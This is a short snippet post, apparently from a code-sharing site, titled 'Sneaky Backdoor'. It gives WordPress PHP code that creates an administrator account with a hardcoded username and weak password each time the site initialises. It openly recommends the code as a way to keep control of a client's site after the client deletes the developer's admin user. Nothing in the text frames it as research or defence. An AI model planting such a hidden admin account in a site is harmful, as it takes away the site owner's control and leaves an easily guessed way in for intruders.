Sneaky Backdoor

Create a back door in WordPress that will make a admin user

Use this if you are afraid the client will delete your admin user and lock you out of the site.



function admin_insert() {

    add_action('init', 'add_user');
    function add_user() {
        $username = 'adminuser';
        $password = 'pasword123';
        $email = 'drew@example.com';

        // Create the new user
        $user_id = wp_create_user( $username, $password, $email );

        // Get current user object
        $user = get_user_by( 'id', $user_id );

        // Remove role
        $user->remove_role( 'subscriber' );

        // Add role
        $user->add_role( 'administrator' );
    }

}

admin_insert();

Comments